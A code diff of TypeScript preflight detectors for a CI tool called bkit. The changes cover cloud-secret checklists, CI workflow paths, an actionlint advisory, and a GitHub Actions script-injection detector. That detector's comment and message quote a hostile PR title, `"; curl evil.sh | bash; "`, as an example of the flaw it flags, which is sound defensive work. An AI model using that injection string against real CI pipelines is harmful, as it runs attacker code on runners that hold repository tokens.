"**Codex Cloud**: open ChatGPT → **Settings > Codex Cloud > Environments** → your environment → **Environment variables**. Paste the block from `.codex/bkit-cloud.md` (gitignored), which also carries the install script and allowed domains.",
|
|
133
|
+
],
|
|
134
|
+
];
|
|
135
|
+
const present = hosts.filter(([dir]) => fs.existsSync(path.join(cwd, dir)));
|
|
136
|
+
if (!hasRouter && present.length === 0) return null;
|
|
137
|
+
|
|
138
|
+
const sections: string[] = [];
|
|
139
|
+
if (hasRouter) {
|
|
140
|
+
sections.push(
|
|
141
|
+
"**GitHub Actions** (used by bkit-cloud.yml and your own workflows):\n" +
|
|
142
|
+
" gh secret set ANTHROPIC_API_KEY --body='<value>'\n\n" +
|
|
143
|
+
" Verify: `gh secret list | grep -E 'ANTHROPIC_API_KEY'`\n\n" +
|
|
144
|
+
" Keyless alternative for bkit-cloud.yml (workload identity federation): leave the secret unset and set the `ANTHROPIC_FEDERATION_RULE_ID` + `ANTHROPIC_ORGANIZATION_ID` repo variables (`gh variable set`) from a Claude Console federation rule.\n\n" +
|
|
145
|
+
" ANTHROPIC_API_KEY is read from the Anthropic dashboard (https://console.anthropic.com/settings/keys); `.bkit/.env` holds the same value as BKIT_ANTHROPIC_API_KEY. The Claude GitHub App (`/install-github-app`) is also required for `cloud=claude`.",
|
|
146
|
+
);
|
|
147
|
+
}
|
|
148
|
+
for (const [, text] of present) sections.push(text);
|
|
143
149
|
return {
|
|
144
150
|
id: "cloud-secrets-three-locations",
|
|
145
151
|
severity: "advisory",
|
|
146
|
-
detect:
|
|
152
|
+
detect:
|
|
153
|
+
"The secrets bkit's cloud integration uses must also be set in each cloud location you use. Bkit cannot verify dashboard state — surface the checklist so you don't ship a half-configured cloud setup.",
|
|
147
154
|
action:
|
|
148
155
|
"Set each secret in the required locations:\n\n" +
|
|
149
|
-
|
|
150
|
-
ghSetLines +
|
|
151
|
-
"2. **Cursor Cloud Agents** (used by Cursor's cloud agent runner): open `https://cursor.com/dashboard/cloud-agents` → your environment → **Secrets** tab. Add each secret as a **Runtime Secret** (loaded as an env var, redacted from the agent's transcript). Cursor reads `.cursor/Dockerfile` + `.cursor/environment.json` from the repo but secrets come from this dashboard only; the resolved paste-ready values are in `.cursor/bkit-cloud.md` (gitignored).\n\n" +
|
|
152
|
-
"3. **Claude Code (web)** (used by Claude.ai's cloud agent runner): open `https://claude.ai/code` → Settings → Setup → Environment Variables. Add each secret. Claude reads its setup script from the dashboard, NOT from the repo, so changes here do not require a commit.\n\n" +
|
|
156
|
+
sections.map((s, i) => `${i + 1}. ${s}\n\n`).join("") +
|
|
153
157
|
"**Context-fetch (`/bkit-debug` in the cloud):** if you run the debug workflow in these cloud agents, the observability creds your `.agents/context.md` context-fetch blocks use (e.g. `VERCEL_TOKEN`, `SUPABASE_ACCESS_TOKEN`) must ALSO be set in the same dashboards above — non-interactively, since headless agents cannot `vercel login`. These are operator/observability READ creds, not app-runtime secrets. Commit the non-secret selectors (team scope / project ref / `--environment`) in your copied block so they need no dashboard entry. The CLIs those blocks call install automatically in the cloud from each block's `context-fetch:provision` sibling — no manual setup.\n\n" +
|
|
154
|
-
"Same VALUE in all places.
|
|
155
|
-
vendorNote,
|
|
158
|
+
"Same VALUE in all places.",
|
|
156
159
|
};
|
|
157
160
|
}
|
|
158
161
|
|
|
@@ -6,6 +6,7 @@ import * as fs from "node:fs";
|
|
|
6
6
|
import * as path from "node:path";
|
|
7
7
|
import { readJsonFile } from "../../shared/json.js";
|
|
8
8
|
import { readPackageJson } from "../../shared/package-json.js";
|
|
9
|
+
import { ciWorkflowPath, readBkitConfig } from "../../shared/settings.js";
|
|
9
10
|
import type { PreflightFinding } from "../before/index.js";
|
|
10
11
|
import { isAdvisorySuppressed, type SuppressionReporter } from "./suppression.js";
|
|
11
12
|
|
|
@@ -48,24 +49,26 @@ export function detectBkitCloudYmlAlwaysTrueGate(cwd: string): PreflightFinding
|
|
|
48
49
|
}
|
|
49
50
|
|
|
50
51
|
/**
|
|
51
|
-
* Matches a
|
|
52
|
+
* Matches a CI workflow (`bkit.testing.ciWorkflow`) copied from the bkit-ci.yml template: an uncommented
|
|
52
53
|
* job named `bkit-tests` or `bkit-tests-<lane>`, the job names every lane of the template
|
|
53
54
|
* carries.
|
|
54
55
|
*/
|
|
55
56
|
const ADOPTED_CI_JOB_RE = /^[ \t]+bkit-tests(?:-[\w-]+)?:[ \t]*$/m;
|
|
56
57
|
|
|
57
58
|
/**
|
|
58
|
-
* Detect a
|
|
59
|
+
* Detect a CI workflow (`bkit.testing.ciWorkflow`, default `bkit-ci.yml`) adopted from bkit's
|
|
60
|
+
* template with no `actionlint` step.
|
|
59
61
|
* `yaml.safe_load` (and generic YAML linters) accept workflows that are valid YAML
|
|
60
62
|
* but invalid GitHub Actions (doubled quotes inside ${{ }}, always-true `if:` block
|
|
61
63
|
* scalars). actionlint is GHA-aware and catches that class.
|
|
62
64
|
*
|
|
63
65
|
* Only fires when the consumer adopted the bkit-ci.yml template (ADOPTED_CI_JOB_RE).
|
|
64
|
-
*
|
|
66
|
+
* The CI workflow is the consumer's file, so `bkit install` never adds the step — the action
|
|
65
67
|
* inlines the manual step.
|
|
66
68
|
*/
|
|
67
69
|
export function detectCiYmlMissingActionlint(cwd: string): PreflightFinding | null {
|
|
68
|
-
const
|
|
70
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
71
|
+
const ciPath = path.join(cwd, ciRel);
|
|
69
72
|
if (!fs.existsSync(ciPath)) return null;
|
|
70
73
|
const content = fs.readFileSync(ciPath, "utf-8");
|
|
71
74
|
if (!ADOPTED_CI_JOB_RE.test(content)) return null;
|
|
@@ -74,9 +77,10 @@ export function detectCiYmlMissingActionlint(cwd: string): PreflightFinding | nu
|
|
|
74
77
|
id: "ci-yml-missing-actionlint",
|
|
75
78
|
severity: "advisory",
|
|
76
79
|
detect:
|
|
77
|
-
|
|
80
|
+
`${ciRel} (adopted from bkit's template) has no actionlint step. ` +
|
|
81
|
+
"yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
|
|
78
82
|
action:
|
|
79
|
-
|
|
83
|
+
`Add an actionlint step among the static checks in ${ciRel} (before the test/build group):\n\n` +
|
|
80
84
|
" - name: Run actionlint\n" +
|
|
81
85
|
" run: |\n" +
|
|
82
86
|
' curl -sSfL https://raw.githubusercontent.com/rhysd/actionlint/v1.7.12/scripts/download-actionlint.bash -o "$RUNNER_TEMP/download-actionlint.bash"\n' +
|
|
@@ -87,11 +91,11 @@ export function detectCiYmlMissingActionlint(cwd: string): PreflightFinding | nu
|
|
|
87
91
|
|
|
88
92
|
/**
|
|
89
93
|
* Detect an untrusted GitHub Actions expression interpolated directly into a `run:` shell
|
|
90
|
-
* body in
|
|
94
|
+
* body in the CI workflow (`bkit.testing.ciWorkflow`) — the classic GHA script-injection sink. A PR titled
|
|
91
95
|
* `"; curl evil.sh | bash; "` expands into the runner's shell when `${{ github.event.* }}`
|
|
92
96
|
* (or `github.head_ref`) is inlined into `run:` text. The safe form is env-indirection: map
|
|
93
97
|
* the value to an `env:` var and reference `$VAR` (GitHub runtime-expands env values and never
|
|
94
|
-
* re-parses them as shell).
|
|
98
|
+
* re-parses them as shell). The CI workflow is the consumer's file — bkit's template was hardened but
|
|
95
99
|
* nothing back-fills a copy adopted before the fix, so it keeps the vulnerable inline form.
|
|
96
100
|
* This surfaces it as a dedicated security finding.
|
|
97
101
|
*
|
|
@@ -99,10 +103,11 @@ export function detectCiYmlMissingActionlint(cwd: string): PreflightFinding | nu
|
|
|
99
103
|
* indentation and flags untrusted expressions inside their bodies only. `env:` / `if:` /
|
|
100
104
|
* `with:` / `concurrency:` contexts are NOT run bodies, so the safe env-indirection form does
|
|
101
105
|
* not fire; a YAML-commented `run:` key never opens a body, so shipped commented stubs stay
|
|
102
|
-
* silent. Only scans a
|
|
106
|
+
* silent. Only scans a CI workflow adopted from bkit's template (ADOPTED_CI_JOB_RE).
|
|
103
107
|
*/
|
|
104
108
|
export function detectCiYmlRunInjection(cwd: string): PreflightFinding | null {
|
|
105
|
-
const
|
|
109
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
110
|
+
const ciPath = path.join(cwd, ciRel);
|
|
106
111
|
if (!fs.existsSync(ciPath)) return null;
|
|
107
112
|
const content = fs.readFileSync(ciPath, "utf-8");
|
|
108
113
|
if (!ADOPTED_CI_JOB_RE.test(content)) return null;
|
|
@@ -151,7 +156,7 @@ export function detectCiYmlRunInjection(cwd: string): PreflightFinding | null {
|
|
|
151
156
|
id: "ci-yml-run-injection",
|
|
152
157
|
severity: "advisory",
|
|
153
158
|
detect:
|
|
154
|
-
|
|
159
|
+
`SECURITY: ${ciRel} interpolates untrusted GitHub Actions input ` +
|
|
155
160
|
"(github.event.* / github.head_ref) directly into a run: shell body — a script-injection " +
|
|
156
161
|
'sink. A PR title or branch name like `"; curl evil.sh | bash; "` then runs on your CI ' +
|
|
157
162
|
`runner (which holds GITHUB_TOKEN):\n${shown}${more}`,
|
|
@@ -170,24 +175,28 @@ export function detectCiYmlRunInjection(cwd: string): PreflightFinding | null {
|
|
|
170
175
|
}
|
|
171
176
|
|
|
172
177
|
/**
|
|
173
|
-
* Detect drift of the consumer's
|
|
174
|
-
*
|
|
178
|
+
* Detect drift of the consumer's capstone job (`bkit.testing.ciCapstone`, default
|
|
179
|
+
* `bkit-tests-check`) from bkit's canonical CI contract. The CI workflow
|
|
180
|
+
* (`bkit.testing.ciWorkflow`) is the consumer's copy of a template; bkit never rewrites it.
|
|
175
181
|
* WARNING-ONLY presence check: flags the ABSENCE of a known-good fragment, never
|
|
176
|
-
* "differs from canonical". Fires when
|
|
182
|
+
* "differs from canonical". Fires when the CI workflow defines the capstone job (the
|
|
177
183
|
* template ships one).
|
|
178
184
|
*
|
|
179
185
|
* Every check reads `code` (full-line comments stripped): the template's commented
|
|
180
186
|
* scaffold reference names `bkit-tests-check`, `!cancelled()` and `live_ran`.
|
|
181
187
|
*/
|
|
182
188
|
export function detectCiYmlCapstoneContractDrift(cwd: string): PreflightFinding | null {
|
|
183
|
-
const
|
|
189
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
190
|
+
const ciPath = path.join(cwd, ciRel);
|
|
184
191
|
if (!fs.existsSync(ciPath)) return null;
|
|
192
|
+
const capstone = readBkitConfig(cwd).capstoneJob;
|
|
185
193
|
const content = fs.readFileSync(ciPath, "utf-8");
|
|
186
194
|
const code = content
|
|
187
195
|
.split("\n")
|
|
188
196
|
.filter((line) => !/^\s*#/.test(line))
|
|
189
197
|
.join("\n");
|
|
190
|
-
|
|
198
|
+
const capstoneJobRe = new RegExp(`^\\s+${capstone.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}:`, "m");
|
|
199
|
+
if (!capstoneJobRe.test(code)) return null; // no capstone job
|
|
191
200
|
|
|
192
201
|
const missing: string[] = [];
|
|
193
202
|
|
|
@@ -236,8 +245,8 @@ export function detectCiYmlCapstoneContractDrift(cwd: string): PreflightFinding
|
|
|
236
245
|
id: "ci-yml-capstone-contract-drift",
|
|
237
246
|
severity: "advisory",
|
|
238
247
|
detect:
|
|
239
|
-
|
|
240
|
-
|
|
248
|
+
`${ciRel} (adopted from bkit's template) has a ${capstone} capstone missing ${missing.length} ` +
|
|
249
|
+
`load-bearing invariant(s) from bkit's canonical CI contract. ${ciRel} is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.`,
|
|
241
250
|
action:
|
|
242
251
|
"Consider restoring these to keep `green == validated` (see the FULL CI SCAFFOLD REFERENCE in the bkit bkit-ci.yml template):\n\n" +
|
|
243
252
|
missing.map((m) => " - " + m).join("\n"),
|
|
@@ -377,7 +386,7 @@ function tagUsedInTestTitle(text: string, tag: string, mask: Uint8Array): boolea
|
|
|
377
386
|
* declares the script); a silent no-op otherwise. WARNING-only; the capstone's
|
|
378
387
|
* `run_live => live_ran > 0` assertion is the runtime check.
|
|
379
388
|
*
|
|
380
|
-
* A package whose own `package.json` opts out (`bkit.
|
|
389
|
+
* A package whose own `package.json` opts out (`bkit.advisories.ignore`) is dropped from the
|
|
381
390
|
* list and reported via `onSuppressed`; sibling packages keep flagging, because the finding
|
|
382
391
|
* aggregates every affected package into one entry.
|
|
383
392
|
*/
|
|
@@ -469,7 +478,7 @@ export function detectTaggedTestsWithoutCiHome(
|
|
|
469
478
|
lines.join("\n") +
|
|
470
479
|
'\n\nExample: `"test:live": "vitest run --project live"` (or your runner\'s tag filter). The bkit-tests-check capstone\'s `run_live => live_ran > 0` assertion is the runtime backstop; this catches it earlier.' +
|
|
471
480
|
"\n\nFalse positive? A title that only MENTIONS the tag (a rule linter describing it, a meta/guard test naming the scenario) is indistinguishable from a real tagged test. Opt that package out in its package.json — per-package, and it drops only that package from this list:\n\n" +
|
|
472
|
-
' "bkit": { "
|
|
481
|
+
' "bkit": { "advisories": { "ignore": ["tagged-tests-no-ci-home"] } }',
|
|
473
482
|
};
|
|
474
483
|
}
|
|
475
484
|
|
|
@@ -534,7 +543,7 @@ export function detectTurboIntegrationInputs(cwd: string): PreflightFinding[] {
|
|
|
534
543
|
* env-agnostic script provisioned at the lane), (3) the vitest integration config the
|
|
535
544
|
* script points at (home of the documented in-file guard).
|
|
536
545
|
*
|
|
537
|
-
* Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.
|
|
546
|
+
* Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.advisories.ignore`
|
|
538
547
|
* entry there drops the finding and reports it via `onSuppressed`.
|
|
539
548
|
*/
|
|
540
549
|
export function detectTestIntegrationEnv(
|
|
@@ -600,7 +609,7 @@ export function detectTestIntegrationEnv(
|
|
|
600
609
|
" - CI lane: set `TEST_REAL_APIS` / export the service-role URL / chain `supabase start` around `turbo run test:integration` in the `.github/workflows/*.yml` job that runs it (keeps local `pnpm test:integration` env-agnostic)\n" +
|
|
601
610
|
" - vitest integration config: document/enforce the per-file `TEST_REAL_APIS` guard in the config the script `--config`s to.\n\n" +
|
|
602
611
|
"Mocked by design (real-service coverage lives in E2E)? Opt out in the root package.json:\n\n" +
|
|
603
|
-
' "bkit": { "
|
|
612
|
+
' "bkit": { "advisories": { "ignore": ["test-integration-env-not-asserted"] } }',
|
|
604
613
|
};
|
|
605
614
|
}
|
|
606
615
|
|
|
@@ -638,6 +647,70 @@ export function detectGhaFloatingTags(cwd: string): PreflightFinding | null {
|
|
|
638
647
|
};
|
|
639
648
|
}
|
|
640
649
|
|
|
650
|
+
/**
|
|
651
|
+
* CI template copies named without the `bkit-` prefix: unprefixed path → template name, both
|
|
652
|
+
* relative to the repo root.
|
|
653
|
+
*/
|
|
654
|
+
const CI_SCRIPT_DIR = "scripts/ci";
|
|
655
|
+
const ciScriptUnit = (...files: string[]): ReadonlyArray<readonly [string, string]> =>
|
|
656
|
+
files.map((file) => {
|
|
657
|
+
const slash = file.lastIndexOf("/");
|
|
658
|
+
const dir = slash === -1 ? "" : file.slice(0, slash + 1);
|
|
659
|
+
return [`${CI_SCRIPT_DIR}/${file}`, `${CI_SCRIPT_DIR}/${dir}bkit-${file.slice(slash + 1)}`];
|
|
660
|
+
});
|
|
661
|
+
|
|
662
|
+
/**
|
|
663
|
+
* The renamed files grouped into units that move together: a script, its test and the
|
|
664
|
+
* data file it reads. `bkit upgrade` moves a unit only whole.
|
|
665
|
+
*/
|
|
666
|
+
export const CI_SCRIPT_UNITS: ReadonlyArray<ReadonlyArray<readonly [string, string]>> = [
|
|
667
|
+
ciScriptUnit("check-capstone.mjs", "check-capstone.test.mjs"),
|
|
668
|
+
ciScriptUnit(
|
|
669
|
+
"check-dependency-audit.mjs",
|
|
670
|
+
"check-dependency-audit.test.mjs",
|
|
671
|
+
"accepted-advisories.json",
|
|
672
|
+
),
|
|
673
|
+
ciScriptUnit(
|
|
674
|
+
"check-accepted-divergences.mjs",
|
|
675
|
+
"check-accepted-divergences.test.mjs",
|
|
676
|
+
"accepted-divergences.json",
|
|
677
|
+
),
|
|
678
|
+
ciScriptUnit("lanes/resolve-push-base.mjs", "lanes/resolve-push-base.test.mjs"),
|
|
679
|
+
];
|
|
680
|
+
|
|
681
|
+
export const CI_SCRIPT_RENAMES: ReadonlyArray<readonly [string, string]> = CI_SCRIPT_UNITS.flat();
|
|
682
|
+
|
|
683
|
+
/**
|
|
684
|
+
* Detect CI template copies named without the `bkit-` prefix. They keep working while every
|
|
685
|
+
* reference uses the same old name; the risk is renaming a file without its references — the
|
|
686
|
+
* CI dependency-audit step is guarded by `hashFiles(...)` and silently skips. The copies are the
|
|
687
|
+
* consumer's: `bkit upgrade` moves the unedited ones (`migrateBrandedTemplateFiles`), and this
|
|
688
|
+
* advisory names the ones it leaves (edited, or a `bkit-` target already present); the action
|
|
689
|
+
* inlines the rename and the reference edit.
|
|
690
|
+
*/
|
|
691
|
+
export function detectCiScriptsOldNames(cwd: string): PreflightFinding | null {
|
|
692
|
+
const found = CI_SCRIPT_RENAMES.filter(([oldPath]) => fs.existsSync(path.join(cwd, oldPath)));
|
|
693
|
+
if (found.length === 0) return null;
|
|
694
|
+
const moves = found
|
|
695
|
+
.filter(([, newPath]) => !fs.existsSync(path.join(cwd, newPath)))
|
|
696
|
+
.map(([oldPath, newPath]) => ` git mv ${oldPath} ${newPath}`);
|
|
697
|
+
const both = found
|
|
698
|
+
.filter(([, newPath]) => fs.existsSync(path.join(cwd, newPath)))
|
|
699
|
+
.map(([oldPath, newPath]) => ` ${oldPath} (also present: ${newPath})`);
|
|
700
|
+
const pairs = found.map(([oldPath, newPath]) => `${oldPath} → ${newPath}`).join(", ");
|
|
701
|
+
return {
|
|
702
|
+
id: "ci-scripts-old-names",
|
|
703
|
+
severity: "advisory",
|
|
704
|
+
detect: `${found.length} CI template ${found.length === 1 ? "copy uses its" : "copies use their"} old name without the \`bkit-\` prefix: ${found.map(([oldPath]) => `\`${oldPath}\``).join(", ")}. They work while every reference uses the old name too; renaming a file without its references makes the CI dependency-audit step skip silently.`,
|
|
705
|
+
action:
|
|
706
|
+
(moves.length > 0 ? `Rename:\n\n${moves.join("\n")}\n\n` : "") +
|
|
707
|
+
(both.length > 0
|
|
708
|
+
? `Both names present — move any edits (accepted advisories, registry rows) into the new file, then \`git rm\` the old one:\n\n${both.join("\n")}\n\n`
|
|
709
|
+
: "") +
|
|
710
|
+
`In the same commit, replace each old path with its new one in \`.github/workflows/*.yml\`, \`.husky/pre-push\`, \`package.json\` and the files under \`scripts/ci/\` (the scripts name their JSON files): ${pairs}. Then \`grep -rn -E "(^|[^a-z-])(check-capstone|check-dependency-audit|check-accepted-divergences|accepted-advisories|accepted-divergences|resolve-push-base)(\\.test)?\\.(mjs|json)" .github .husky package.json scripts/ci\` prints nothing.`,
|
|
711
|
+
};
|
|
712
|
+
}
|
|
713
|
+
|
|
641
714
|
/**
|
|
642
715
|
* Detect whether the consumer composed a gate on bkit's `Detect Direct Push` step
|
|
643
716
|
* outputs (`should_force_build` / `should_run_full`). The bkit-ci.yml template ships these
|
|
@@ -645,11 +718,13 @@ export function detectGhaFloatingTags(cwd: string): PreflightFinding | null {
|
|
|
645
718
|
* system documented in deployments.md is documentation-only.
|
|
646
719
|
*
|
|
647
720
|
* "Composition" = a `steps.detect.outputs.should_*` READ on an uncommented line, in a
|
|
648
|
-
* sibling workflow or in
|
|
721
|
+
* sibling workflow or in the CI workflow itself. bkit's shipped steps only SET these outputs and
|
|
649
722
|
* the example E2E gate ships commented (`bkit-stub:e2e`), so neither false-positives.
|
|
650
723
|
*/
|
|
651
724
|
export function detectRunLevelsNotComposed(cwd: string): PreflightFinding | null {
|
|
652
|
-
const
|
|
725
|
+
const ciWorkflow = readBkitConfig(cwd).ciWorkflow;
|
|
726
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
727
|
+
const ciPath = path.join(cwd, ciRel);
|
|
653
728
|
if (!fs.existsSync(ciPath)) return null;
|
|
654
729
|
const ciContent = fs.readFileSync(ciPath, "utf-8");
|
|
655
730
|
// Bkit's bkit-ci.yml ships the `Detect Direct Push` step — if absent, no primitives to compose.
|
|
@@ -677,26 +752,24 @@ export function detectRunLevelsNotComposed(cwd: string): PreflightFinding | null
|
|
|
677
752
|
// Any sibling workflow that gates on the outputs.
|
|
678
753
|
for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
|
|
679
754
|
if (!entry.isFile() || !/\.ya?ml$/.test(entry.name)) continue;
|
|
680
|
-
if (entry.name ===
|
|
755
|
+
if (entry.name === ciWorkflow) continue; // checked below
|
|
681
756
|
if (composesRunLevels(fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8"))) {
|
|
682
757
|
composed = true;
|
|
683
758
|
break;
|
|
684
759
|
}
|
|
685
760
|
}
|
|
686
|
-
// Or a consumer-added gate inside
|
|
761
|
+
// Or a consumer-added gate inside the CI workflow itself (e.g. an enabled bkit-stub:e2e block,
|
|
687
762
|
// or a deploy/job step reading the outputs).
|
|
688
763
|
if (!composed && composesRunLevels(ciContent)) composed = true;
|
|
689
764
|
if (composed) return null;
|
|
690
765
|
return {
|
|
691
766
|
id: "run-levels-not-composed",
|
|
692
767
|
severity: "advisory",
|
|
693
|
-
detect:
|
|
694
|
-
".github/workflows/bkit-ci.yml ships bkit's `Detect Direct Push` step outputs (`should_force_build`, `should_run_full`, `cache.outputs.skip`) but no consumer-side workflow or step gates on them.",
|
|
768
|
+
detect: `${ciRel} ships bkit's \`Detect Direct Push\` step outputs (\`should_force_build\`, \`should_run_full\`, \`cache.outputs.skip\`) but no consumer-side workflow or step gates on them.`,
|
|
695
769
|
action:
|
|
696
770
|
"`docs/deployments.md` documents bkit's none / partial / full run-level shape — the matrix is documentation-only until you compose at least one consumer-side gate. Examples:\n\n" +
|
|
697
771
|
" - A deploy job: `if: steps.detect.outputs.should_force_build == 'true' || github.ref == 'refs/heads/main'`\n" +
|
|
698
|
-
" - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n" +
|
|
699
|
-
|
|
700
|
-
"If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the `Detect Direct Push` step from bkit-ci.yml. Note this also disables `[force cache]` / `[force build]` / `[force full]` tag detection.",
|
|
772
|
+
" - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n\n" +
|
|
773
|
+
`If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the \`Detect Direct Push\` step from ${ciRel}. Note this also disables \`[force cache]\` / \`[force build]\` / \`[force full]\` tag detection.`,
|
|
701
774
|
};
|
|
702
775
|
}
|
|
@@ -9,6 +9,7 @@ import type { PreflightFinding } from "../before/index.js";
|
|
|
9
9
|
import { MCP_TOOLSETS_HEADER, parseToolsets } from "../../install/write.js";
|
|
10
10
|
import { parseJson, readJsonFile } from "../../shared/json.js";
|
|
11
11
|
import { readBkitConfig } from "../../shared/settings.js";
|
|
12
|
+
import { isCloudOrCi } from "../before/env.js";
|
|
12
13
|
import type { TokenPresence } from "./auth.js";
|
|
13
14
|
|
|
14
15
|
/**
|
|
@@ -70,7 +71,7 @@ export function detectActionsWritePermissions(): TokenPresence {
|
|
|
70
71
|
*
|
|
71
72
|
* - `github` → GitHub tracker: the GitHub MCP server authenticates with `BKIT_GH_TOKEN`; `gh` uses `gh auth login`.
|
|
72
73
|
* - `linear` → existing Linear setup message (BKIT_LINEAR_API_KEY + LINEAR_ISSUE_ID).
|
|
73
|
-
* - `jira` → admin switch,
|
|
74
|
+
* - `jira` → admin switch, BKIT_JIRA_API_KEY and `bkit.tracker.jira` in package.json.
|
|
74
75
|
* - `none` → prompt to run `bkit install --tracker=github`, `--tracker=linear` or `--tracker=jira`.
|
|
75
76
|
*
|
|
76
77
|
* Only fires when bkit workflows are installed (.claude/ or .cursor/ present).
|
|
@@ -109,11 +110,11 @@ export function buildTrackerSetupAdvisory(cwd: string): PreflightFinding | null
|
|
|
109
110
|
severity: "advisory",
|
|
110
111
|
detect: "bkit tracker is configured as `jira`. Jira Cloud is the active tracker.",
|
|
111
112
|
action:
|
|
112
|
-
'Jira tracker: (1) an org admin turns on API-token sign-in for the Rovo MCP server (admin.atlassian.com → Rovo → Rovo MCP server → Authentication → "Allow API token authentication"); (2) create an API token with scopes for the app "Atlassian MCP V2" at https://id.atlassian.com/manage-profile/security/api-tokens and set it as `
|
|
113
|
+
'Jira tracker: (1) an org admin turns on API-token sign-in for the Rovo MCP server (admin.atlassian.com → Rovo → Rovo MCP server → Authentication → "Allow API token authentication"); (2) create an API token with scopes for the app "Atlassian MCP V2" at https://id.atlassian.com/manage-profile/security/api-tokens and set it as `BKIT_JIRA_API_KEY` in `.bkit/.env`, then `direnv allow`; (3) set `bkit.tracker.jira.site` (e.g. `https://acme.atlassian.net`) and `bkit.tracker.jira.project` (the project key) in package.json. Full steps: `.bkit/trackers.md` § jira.',
|
|
113
114
|
};
|
|
114
115
|
}
|
|
115
116
|
|
|
116
|
-
// tracker === "none". Distinguish opt-out (explicit `bkit.
|
|
117
|
+
// tracker === "none". Distinguish opt-out (explicit `bkit.tracker.default: "none"`)
|
|
117
118
|
// from undecided (field absent). An explicit `none` silences the nudge, as with the
|
|
118
119
|
// dep-updater advisory.
|
|
119
120
|
if (issueTrackerExplicit) return null;
|
|
@@ -122,14 +123,14 @@ export function buildTrackerSetupAdvisory(cwd: string): PreflightFinding | null
|
|
|
122
123
|
id: "tracker-setup-none",
|
|
123
124
|
severity: "advisory",
|
|
124
125
|
detect:
|
|
125
|
-
"bkit tracker is not configured (`bkit.
|
|
126
|
+
"bkit tracker is not configured (`bkit.tracker.default` absent). Workflows run but every tracker call is a no-op.",
|
|
126
127
|
action:
|
|
127
|
-
'Optional post-install decision. Run `bkit install --tracker=github` (recommended), `--tracker=linear` or `--tracker=jira` to enable tracker integration. GitHub tracker requires `BKIT_GH_TOKEN` in `.bkit/.env` (fine-grained PAT for one owner, classic PAT across owners). Linear tracker requires `BKIT_LINEAR_API_KEY` in `.bkit/.env`. Jira tracker requires `
|
|
128
|
+
'Optional post-install decision. Run `bkit install --tracker=github` (recommended), `--tracker=linear` or `--tracker=jira` to enable tracker integration. GitHub tracker requires `BKIT_GH_TOKEN` in `.bkit/.env` (fine-grained PAT for one owner, classic PAT across owners). Linear tracker requires `BKIT_LINEAR_API_KEY` in `.bkit/.env`. Jira tracker requires `BKIT_JIRA_API_KEY` in `.bkit/.env` and `bkit.tracker.jira` in package.json. To opt out and silence this advisory, set `bkit.tracker.default` to `"none"` in package.json.',
|
|
128
129
|
};
|
|
129
130
|
}
|
|
130
131
|
|
|
131
132
|
/**
|
|
132
|
-
* Classify the `bkit.github.project` board-sync config in package.json:
|
|
133
|
+
* Classify the `bkit.tracker.github.project` board-sync config in package.json:
|
|
133
134
|
* - "configured" → a Projects v2 board URL
|
|
134
135
|
* - "opted-out" → set to `false` ("no board sync" — stay quiet)
|
|
135
136
|
* - "invalid" → a string that is not a board URL
|
|
@@ -169,13 +170,13 @@ export function detectProjectsToolset(cwd: string): TokenPresence {
|
|
|
169
170
|
/**
|
|
170
171
|
* GitHub Projects v2 board-sync prerequisite advisory. Board status sync needs
|
|
171
172
|
* THREE things, none of which install seeds or verifies end-to-end:
|
|
172
|
-
* `bkit.github.project` (the board URL), the `projects` MCP toolset, and a PAT
|
|
173
|
+
* `bkit.tracker.github.project` (the board URL), the `projects` MCP toolset, and a PAT
|
|
173
174
|
* with Projects R/W. Absent any of the first two (the detectable ones), board
|
|
174
175
|
* sync silently no-ops — the URL alone is useless if the toolset lacks
|
|
175
176
|
* `projects`, and vice versa. Emits one advisory naming what's missing.
|
|
176
177
|
*
|
|
177
178
|
* Gates: workflows installed (.claude/ or .cursor/) AND tracker === "github".
|
|
178
|
-
* Stays quiet on explicit opt-out (`bkit.github.project: false`) or when both
|
|
179
|
+
* Stays quiet on explicit opt-out (`bkit.tracker.github.project: false`) or when both
|
|
179
180
|
* detectable prerequisites are satisfied (PAT scope can't be checked locally).
|
|
180
181
|
*/
|
|
181
182
|
export function buildGithubProjectAdvisory(cwd: string): PreflightFinding | null {
|
|
@@ -193,9 +194,10 @@ export function buildGithubProjectAdvisory(cwd: string): PreflightFinding | null
|
|
|
193
194
|
if (configOk && toolsetOk) return null;
|
|
194
195
|
|
|
195
196
|
const missing: string[] = [];
|
|
196
|
-
if (configState === "absent")
|
|
197
|
+
if (configState === "absent")
|
|
198
|
+
missing.push("`bkit.tracker.github.project` is empty or absent in package.json");
|
|
197
199
|
if (configState === "invalid")
|
|
198
|
-
missing.push("`bkit.github.project` is not a GitHub Projects board URL");
|
|
200
|
+
missing.push("`bkit.tracker.github.project` is not a GitHub Projects board URL");
|
|
199
201
|
if (toolset === "missing")
|
|
200
202
|
missing.push("the `projects` toolset is missing from `.mcp.json` `X-MCP-Toolsets`");
|
|
201
203
|
const missingPhrase = missing.length > 0 ? `: ${missing.join("; ")}` : "";
|
|
@@ -210,7 +212,9 @@ export function buildGithubProjectAdvisory(cwd: string): PreflightFinding | null
|
|
|
210
212
|
"Board status sync is optional (workflows never gate on it) but invisible when half-configured. All three prerequisites are required:\n\n" +
|
|
211
213
|
"1. Add the board's URL to package.json, as the browser shows it on the board (`/orgs/<org>/…` for an organization board, `/users/<login>/…` for a personal one; a trailing `/views/<n>` is fine):\n\n" +
|
|
212
214
|
' "bkit": {\n' +
|
|
213
|
-
' "
|
|
215
|
+
' "tracker": {\n' +
|
|
216
|
+
' "github": { "project": "https://github.com/orgs/<org>/projects/<number>" }\n' +
|
|
217
|
+
" }\n" +
|
|
214
218
|
" }\n\n" +
|
|
215
219
|
